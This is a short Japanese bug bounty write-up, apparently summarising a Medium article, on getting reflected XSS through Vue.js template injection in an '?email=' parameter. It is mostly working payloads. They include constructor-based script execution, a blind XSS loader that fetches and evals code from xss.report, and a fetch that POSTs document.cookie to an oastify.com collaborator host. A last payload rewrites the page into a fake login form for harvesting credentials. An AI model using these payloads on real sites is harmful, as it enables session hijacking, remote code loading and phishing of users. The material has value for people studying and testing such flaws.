Hello there, ('ω')ノ
Vue JS 反映された XSSを。
脆弱性:
反映された XSS
ブラインド XSS
CORS の設定ミス
UI の修正
記事:
https://medium.com/@sid0krypt/vue-js-reflected-xss-fae04c9872d2
今回は、VueJS アプリケーションで反映された XSS を取得する方法を。
すべてのタグをフィルタリングしていた「?email=」という。
名前の脆弱なパラメータを見つけ。
そこで、PortSwigger の XSS チートシートを参照して、ペイロードのヒントを得て。
最初にすべきことは、そのアプリケーションで使用されているテクノロジーを。
確認することで、自分の場合は、VueJS に基づいたアプリケーションで。
次の 2 つのペイロードが機能していることが判明して。
{{_Vue.h.constructor`alert(1)`()}}
{{$emit.constructor`alert(1)`()}}
テンプレート インジェクション ペイロード:
{{_Vue.h.constructor('x','console.log("HI this is sid0krypt")')(this)}}
{{_Vue.h.constructor('x','console.log(x)')(this)}}
VueJS の知識がないので、いくつかの調査の結果、コンストラクター関数が。
<script></script> と同様に機能することを知り。
ブラインド XSS ペイロードを作成するには、次のように単純に使用できて。
{{$emit.constructor`function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/s/sid0krypt");a.send()`()}}
ターゲットが WAF を使用していたため。
クロス オリジン リクエストを作成できず。
したがって、このシナリオでは、クロス オリジン リソース シェアリングの制限を。
回避する no-cors モードでフェッチ リクエストを使用できて。
fetch('https://{collaborator link}', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
フェッチ リクエストの最終的なペイロードは次のようになり。
{{$emit.constructor`fetch(%27https://8v4y3qmogobk2g6bewqtqa83quwkk9.oastify.com%27,%20{%20method:%20%27POST%27,%20mode:%20%27no-cors%27,%20body:%20document.cookie%20});`()}}
さらにエスカレートするために、UI の修正を実行することができ。
これにより、作成したログイン ページの HTML コンテンツが完全に変更され.
www.target.com/login を指すようになり、正規のログイン ページのように見えて。
{{$emit.constructor`history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue and this is a POC by sid0krypt😌💕</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"`()}}
Best regards, (^^ゞ